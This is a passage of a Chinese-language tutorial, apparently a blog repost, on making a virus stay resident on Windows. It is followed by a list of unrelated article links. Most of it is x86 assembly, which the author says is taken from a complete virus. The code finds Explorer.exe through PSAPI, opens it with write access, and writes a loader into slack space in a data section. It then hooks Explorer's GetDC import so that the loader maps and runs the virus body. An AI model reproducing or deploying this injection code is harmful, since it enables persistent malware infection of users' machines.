2) 在WinNT/2000下寻找Explorer.exe
上面提到的实现在Windows NT下不可行,因为NT中没有TOOLHELP32族函数。为了得到进程和
模块列表,我们借助于一个附加DLL:PSAPI.DLL
这个dll为我们提供了下列函数:
EmptyWorkingSet
EnumDeviceDrivers
EnumProcesses
EnumProcessModules
GetDeviceDriverBaseName
GetDeviceDriverFileName
GetMappedFileName
GetModuleBaseName
GetModuleFileNameEx
GetModuleInformation
GetProcessMemoryInfo
GetWsChanges
InitializeProcessForWsWatch
QueryWorkingSet
但是为了达到我们的目的我们只需要下面的几个函数即可:
- EnumProcesses
得到一个包含每个进程ID的数组。
- EnumProcessModules
返回给我们一个填写着指定进程的所有装载模块的模块句柄的数组。
例如:
lea edi,dword ptr [ebp+EP_Bytes]
push edi
push 00000080h
lea esi,dword ptr [ebp+ProcessIdList]
push esi
call dword ptr [ebp+a_EnumProcesses]
or eax,eax
jz ExitMemNt
mov ecx,dword ptr [edi]
shr ecx,02h
jecxz ExitMemNt
第一个参数是一个指向一个变量的指针,返回时这个变量的值被写成进程ID数组的实际字节
数。
第二个参数指定了数组大小,如果它不足以放置整个列表则函数调用失败。
最后一个参数是指向接受进程ID列表的数组的指针。要确定有多少进程被EnumProcesses枚举
可以用返回的结果EP_Bytes除以04h (一个双字的大小)
下面让我们依次打开每一个返回的进程:
push dword ptr [ebp+PROCESS_ID]
push 00000000h
push PROCESS_QUERY_INformATION or /
PROCESS_VM_READ or /
PROCESS_VM_WRITE or /
PROCESS_VM_OPERATION
call dword ptr [ebp+a_OpenProcess]
大部分返回的进程不允许我们以指定的权限打开。但Explorer.exe不是那样。
当一个进程被打开后,我们就得到了一个进程句柄。我们仍然需要去确定这是不是
Explorer.exe。
下面,我们要重新得到这个进程加载的第一个模块:
lea edx,dword ptr [ebp+EP_Bytes]
push edx
push 00000080h
lea esi,dword ptr [ebp+ModuleList]
push esi
push eax
call dword ptr [ebp+a_EnumProcessModules]
or eax,eax
jz NCProcess
cld
lodsd
mov dword ptr [ebp+hModuel],eax
注意我们不需要寻找其他模块:第一个返回的模块就是Explorer.exe自身。
现在我们有了一个进程的模块句柄(加载基地址)。我们用kernel32导出的
GetModuleBaseNameA函数来得到这个模块的名字,检查这是不是Explorer.exe。
push MAX_PATH
lea esi,dword ptr [ebp+BufStrFilename]
push esi
push dword ptr [ebp+hModule]
push dword ptr [ebp+hProcess]
call dword ptr [ebp+a_GetModuleBaseNameA]
or eax,eax
jz NCProcess
3. 接管
下面的部分是Win9x/Nt/2000通用的。
一旦我们得到了Explorer.exe的基地址,我们就可以对其调用函数ReadProcessMemory和
WriteProcessMemory了。
下面的代码演示了这两个函数的使用:
;Read process memory routine
;
;On entry:
; eax -> Pointer to the base address from which to read
; ecx -> Specifies the requested number of bytes to read
; esi -> Pointer to a buffer that receives the contents from
; the address address
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
ReadProcessMem:
push edi
push ecx
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesRead
push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_ReadProcessMemory]
pop ecx
or eax,eax
jz ExitREM
cmp dword ptr [edi],ecx
je ExitREM
xor eax,eax
ExitREM:
pop edi
cld
ret
;Write process memory routine
;
;On entry:
; eax -> Pointer to the base address in the specified process
; to which data will be written
; ecx -> Specifies the number of bytes to write
; esi -> Pointer to the buffer that contains data to be written
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
WriteProcessMem:push edi
push ecx
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesWritten
push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_WriteProcessMemory]
pop ecx
or eax,eax
jz ExitWEM
cmp dword ptr [edi],ecx
je ExitWEM
xor eax,eax
ExitWEM:
pop edi
cld
ret
利用这个子程序我们就可以读写Explorer.exe的内存映像了。
现在我们已经得到了:
- 一个具有写权限的Explorer.exe进程句柄
- Explorer.exe映射的基地址
我们要用它们来做什么呢?答案很简单:把我们的病毒插入到Explorer.exe的进程空间里去,
这样当我们的感染例程结束后我们的病毒仍然可以驻留内存。
让我们一步步来做。首先我们先找到节表。通过它我们找到一个合适的节:
mov ebx,dword ptr [ebp+hModule]
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_MZ_lfanew]
mov eax,ebx
add eax,MZ_lfanew
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsd ;There is a CLD at the end of ReadProcessMem
or eax,eax ;Now esi -> Explorer_FH_SizeOfOptionalHeader
jz FE_Exit ; eax -> MZ_lfanew
add eax,ebx
mov edi,eax
add eax,00000004h + FH_SizeOfOptionalHeader
dec ecx
dec ecx
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsw ;Just to do
;esi -> Explorer_FH_NumberOfSections
mov eax,edi
add eax,00000004h + FH_NumberOfSections
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsw ;esi -> Explorer_SectionHeader
movzx ecx,ax ;ecx -> Number of sections
movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
add edi,eax
add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER
我们需要一个具有读写属性的节。一个包含初始化数据的节。如果找到具有这样属性的节我
们还要检查这个节是不是还留有自由空间(SH_SizeOfRawData > SH_VirtualSize)。
ExplorerHole:
push ecx
mov eax,edi
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
call ReadProcessMem
or eax,eax
jz E_NextSection
;There is free space ?
cmp dword ptr [esi+SH_Characteristics], /
IMAGE_SCN_MEM_READ or /
IMAGE_SCN_MEM_WRITE or /
IMAGE_SCN_CNT_INITIALIZED_DATA
jne E_NextSection
mov eax,dword ptr [esi+SH_SizeOfRawData]
sub eax,dword ptr [esi+SH_VirtualSize]
js E_NextSection
cmp eax,SIZEOF_EVL
jae Ok_E_Section
;Try next section
E_NextSection:
add edi,ecx
pop ecx
loop ExplorerHole
;No suitable section found
jmp FE_Exit
一旦我们得到了一个符合要求的节我们就可以在这里写入我们的代码,要写入的代码我们在
后面会谈到。
Ok_E_Section:
pop ecx ;Cleanup stack
;Setup some values in the code we want to write to EXPLORER.EXE
mov eax,dword ptr [ebp+a_GetDC]
mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax
mov eax,dword ptr [ebp+a_OpenFileMappingA]
mov dword ptr [ebp+EVL_a_OpenFileMapping],eax
mov eax,dword ptr [ebp+a_MapViewOfFile]
mov dword ptr [ebp+EVL_a_MapViewOfFile],eax
mov eax,ebx
add eax,dword ptr [esi+SH_VirtualAddress]
add eax,dword ptr [esi+SH_VirtualSize]
mov dword ptr [ebp+Explorer_Patch],eax
mov ecx,SIZEOF_EVL
lea esi,dword ptr [ebp+EVL_code]
call WriteProcessMem
or eax,eax
jz FE_Exit
当我们把病毒的loader写入Explorer.exe后,我们准备对Explorer.exe的API进行挂钩,这个
钩子会把控制权交到我们插入的代码中。
;Go to EXPLORER.EXE data directory
mov eax,ebx
add eax,dword ptr [ebp+Explorer_MZ_lfanew]
add eax,00000004h + IMAGE_SIZEOF_FILE_HEADER + /
OH_DataDirectory.DE_Import.DD_VirtualAddress
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_DE_Import]
call ReadProcessMem
or eax,eax
jz FE_Exit
;Search for USER32 import module descriptor
lodsd
add eax,ebx
mov edi,eax
E_Search_K32:
mov eax,edi
mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
lea esi,dword ptr [ebp+Explorer_ImportDescriptor]
call ReadProcessMem
or eax,eax
jz FE_Exit
;Last import module descriptor!?
cmp dword ptr [esi],00000000h
je FE_Exit
;Check import module descriptor ID_Name
mov eax,ebx
add eax,dword ptr [esi+ID_Name]
mov ecx,00000010h
lea esi,dword ptr [ebp+Explorer_ID_Name]
call ReadProcessMem
or eax,eax
jz FE_Exit
push edi
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32
pop edi
cmp edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?
je E_Found_K32
;Next import module descriptor
add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp E_Search_K32
;USER32.DLL import module descriptor found
E_Found_K32:
mov edi,dword ptr [ebp+ Explorer_ImportDescriptor+ID_FirstThunk]
add edi,ebx
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_Hook]
E_NextThunk:
mov eax,edi
call ReadProcessMem
or eax,eax
jz FE_Exit
mov eax,dword ptr [esi]
or eax,eax
jz FE_Exit
cmp eax,dword ptr [ebp+a_GetDC]
je E_Poison
add edi,ecx
jmp E_NextThunk
;Gotcha!
E_Poison:
mov eax,edi
mov dword ptr [ebp+Explorer_Init_Hook],eax
lea esi,dword ptr [ebp+Explorer_Patch]
call WriteProcessMem ; ECX already loaded
or eax,eax
jz FE_Exit
;Done!!!! ieieie!!!!
;Insert rest of code here
ret
FE_Exit: ;Residency proc failed!
Ret
这段代码取自一个完整的病毒。你会发现其中调用的一些子程序没有出现在这篇文章中。这
段代码只是希望起到一定的引导作用,仅此而已。
我们继续,下面的代码是我们要插入到Explorer.exe的进程空间的。
; Code injected into EXPLORER.EXE
;
; The purpose of this code is to get access to virus memory from
; EXPLORER.EXE
EVL_code equ $
;Let some space for the return address... then save all regs
push eax
pushad
;This is the original address of the API... Lets make the
;return address point to it
db 0B8h ; EAX -> Original API address
EVL_a_OrginalApiAddr dd 00000000h
mov dword ptr [esp+cPushad],eax
;Attempt to avoid reentrance problems
call MultiThreadSafe
db 00h ;Only changed over hook code, not over main virus body
MultiThreadSafe:
pop esi
mov edi,esi
cld
lodsb
or al,al
jnz MayBeOnNextCall
dec al
stosb
;Try to open the virus file-mapping
;There is some kinda race condition here... If the infected
;program terminates before this point we wont be able to
;find the rest of the virus in memory...
;In that case the hook will stay present, and this code may
;be able to find the virus memory-mapping on next attemps
call GetszObjName ;lpName
szObjectName db 10h dup (00h)
GetszObjName:
push 00000000h ;bInheritHandle
mov edi,FILE_MAP_WRITE
push edi ;dwDesiredAccess
db 0B8h ; EAX -> OpenFileMappingA
EVL_a_OpenFileMapping dd 00000000h
call eax
or eax,eax
jz MayBeOnNextCall
;The file-mapping is here... Get an image of it
xor edx,edx
push edx
push edx
push edx
push edi
push eax
db 0B8h ; EAX -> OpenFileMappingA
EVL_a_MapViewOfFile dd 00000000h
call eax
or eax,eax
jz MayBeOnNextCall
;Great! We have access to virus allocated memory, but
;remember we are now inside EXPLORER.EXE !!!!
;Jump to virus complete image in order to complete
;initialization inside EXPLORER.EXE
add eax,offset ExplorerInit - offset viro_sys
call eax
;Restore regs and jump to original API code
MayBeOnNextCall:
popad
ret
SIZEOF_EVL equ $-EVL_code
Explorer.exe中的GetDC这个API已经被挂了钩并指向上面这段代码。一旦这段代码被激活,
他会寻找共享内存块(就是我们在开篇提到的)。一旦我们得到这块内存的句柄我们就可以
确信我们的病毒已经永久地驻留系统了,直到Explorer.exe关闭。
可能有些读者会问:为什么感染例程结束了这块内存还会保留呢?答案很简单:因为一块内
存直到所有引用它的句柄都关闭了才系统才会释放它。当感染例程结束了,它关闭了所有的
句柄,但是还有一个句柄仍然打开着,是在Explorer中。
- Explorer内存感染
- PE文件感染和内存驻留
- explorer.exe提示内存错误
- 感染explorer.exe,使用映像劫持,ShellExecHook…的AV杀手GRHSGIH.EXE1
- 感染explorer.exe,使用映像劫持,ShellExecHook…的AV杀手GRHSGIH.EXE2
- 感染explorer.exe,使用映像劫持,ShellExecHook…的AV杀手GRHSGIH.EXE3
- 亲密接触恶意代码之文件感染和内存驻留
- 亲密接触恶意代码之文件感染和内存驻留
- 亲密接触恶意代码之文件感染和内存驻留--7
- 亲密接触恶意代码之文件感染和内存驻留--9
- Explorer
- Explorer
- (7)亲密接触恶意代码之文件感染和内存驻留
- (8)亲密接触恶意代码之文件感染和内存驻留
- (9)亲密接触恶意代码之文件感染和内存驻留
- 通过修改explorer.exe内存隐藏文件及注册表项
- 解决svchost.exe以及explorer.exe占用内存问题
- CVE-2016-0199浅析-Internet Explorer内存损坏漏洞
- 邮件蠕虫与垃圾邮件技术的融合
- Ajax的AutoCompleteExtender的使用
- 关于每次dhcp获得同一ip的FAQ
- MSN病毒原理及测试代码
- ASP.NET面试题
- Explorer内存感染
- 一个通过反射改变request的请求参数的方法
- 你好
- 北电网络的工作要求
- SQL基本操作练习
- Spring中的邮件发送配置
- MP3格式与WMA格式的音乐有什么区别
- SQL扩展存储过程安装与卸载
- 亚洲周刊:从中印航展 看西方对中国的戒备